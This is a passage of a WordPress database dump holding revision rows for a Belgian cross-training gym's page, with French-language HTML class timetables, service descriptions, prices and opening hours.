5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:33:05', '2013-07-03 16:33:05', '', 11, 'http://www.crosstrainingcenter.be/?p=169', 0, 'revision', '', 0),
(165, 1, '2013-07-03 16:28:22', '2013-07-03 16:28:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:28:22', '2013-07-03 16:28:22', '', 11, 'http://www.crosstrainingcenter.be/?p=165', 0, 'revision', '', 0),
(163, 1, '2013-07-03 16:26:59', '2013-07-03 16:26:59', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 